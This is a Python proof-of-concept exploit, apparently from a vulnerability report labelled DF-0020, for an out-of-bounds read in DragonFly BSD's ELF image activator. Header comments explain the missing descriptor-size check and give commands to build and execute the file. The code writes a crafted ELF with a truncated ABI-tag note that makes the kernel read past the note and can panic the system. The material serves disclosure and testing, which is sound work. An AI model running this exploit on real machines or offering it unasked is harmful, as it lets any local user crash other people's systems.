#!/usr/bin/env python3
# DF-0020 PoC - ELF ABI-note descriptor out-of-bounds read.
#
# note_overflow() (sys/kern/imgact_elf.c:1700-1707) validates that a note's
# n_namesz fits in the remaining PT_NOTE segment, but never validates n_descsz.
# When a crafted, truncated .note.ABI-tag matches the DragonFly brandnote
# (n_namesz=10 "DragonFly\0", n_descsz=4, n_type=1, vendor "DragonFly"),
# bsd_trans_osrel() reads the 4-byte descriptor at
#     note + sizeof(Elf_Note) + roundup2(n_namesz, 4)   == note + 24
# A segment of p_filesz=22 passes note_overflow (12<=22 and 10<=10) yet the
# desc read lands at note+24, 2..6 bytes past note_end -> kernel OOB read of
# adjacent memory (or a page fault -> panic if it straddles an unmapped page).
#
# Trigger: any local user execve(2)s a crafted ELF; the image activator runs
# for every local exec of an attacker-owned file, no privilege required.
#
# Build the crafted ELF:   python3 elf_note_oob.py -o /tmp/oob_elf
# Try to exec it (it need not be a loadable binary; the header check + note
# walk happen before vmspace setup):
#       chmod +x /tmp/oob_elf && /tmp/oob_elf
#
# Expected (bug present): on a vulnerable kernel, executing the crafted ELF
# either does nothing visible (OOB bytes land in mapped adjacent memory and
# the value goes to p_osrel, not exposed) or, when the OOB read straddles an
# unmapped page boundary, triggers a kernel page fault -> panic (local DoS).

import argparse, struct, sys

# ELF64 constants
ELFMAG = b"\x7fELF"
ELFCLASS64, ELFDATA2LSB, EV_CURRENT, ELFOSABI_SYSV = 2, 1, 1, 0
ET_EXEC, EM_X86_64 = 2, 62
PT_NOTE = 4

# DragonFly brandnote that triggers bsd_trans_osrel (BN_TRANSLATE_OSREL).
#   n_namesz = 10 ("DragonFly\0"), n_descsz = 4, n_type = 1, vendor "DragonFly"
NAMESZ = 10
DESCSZ = 4
NTYPE = 1
VENDOR = b"DragonFly\0"            # 10 bytes incl NUL
assert len(VENDOR) == NAMESZ

def round_up(n, a=4):
    return (n + a - 1) & ~(a - 1)

def build_ehdr(e_phoff, e_phnum):
    e_ident = ELFMAG + bytes([ELFCLASS64, ELFDATA2LSB, EV_CURRENT, ELFOSABI_SYSV]) + b"\x00" * 8
    return struct.pack("<16sHHIQQQIHHHHHH",
        e_ident, ET_EXEC, EM_X86_64, EV_CURRENT, 0, e_phoff, 0, 0,
        sizeof_ehdr(), e_phoff, e_phentsize(), e_phnum, 0, 0)

def sizeof_ehdr(): return 64
def e_phentsize(): return 56

def build_phdr(p_type, p_offset, p_filesz):
    # ELF64 Phdr: type, flags, offset, vaddr, paddr, filesz, memsz, align
    return struct.pack("<IIQQQQQQ", p_type, 0, p_offset, 0, 0, p_filesz, 0, 4)

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("-o", "--out", required=True)
    args = ap.parse_args()

    ehdr_sz = sizeof_ehdr()
    phoff = ehdr_sz                      # one Phdr right after Ehdr
    # Place the note near the end of the first page so the OOB desc read
    # (note + 24) escapes the 4096-byte image_header buffer.
    note_offset = 4096 - 22              # => 4074; note_end = 4096, read at 4098
    # Build the TRUNCATED note: header (12) + name (10) == 22 bytes, no desc.
    note_hdr = struct.pack("<III", NAMESZ, DESCSZ, NTYPE)   # 12 bytes
    note = note_hdr + VENDOR                                # 22 bytes; descriptor omitted

    elf = bytearray(4096)                                   # first page
    elf[0:ehdr_sz] = build_ehdr(phoff, 1)
    elf[phoff:phoff + e_phentsize()] = build_phdr(PT_NOTE, note_offset, len(note))
    elf[note_offset:note_offset + len(note)] = note

    with open(args.out, "wb") as f:
        f.write(bytes(elf[:4096]))
    print(f"[+] wrote crafted ELF to {args.out}")
    print(f"[+] PT_NOTE at offset {note_offset}, p_filesz={len(note)} "
          f"(descriptor claimed {DESCSZ}B but truncated)")
    print(f"[+] bsd_trans_osrel reads at note+24={note_offset+24} "
          f"(> note_end={note_offset+len(note)}) -> OOB")

if __name__ == "__main__":
    main()
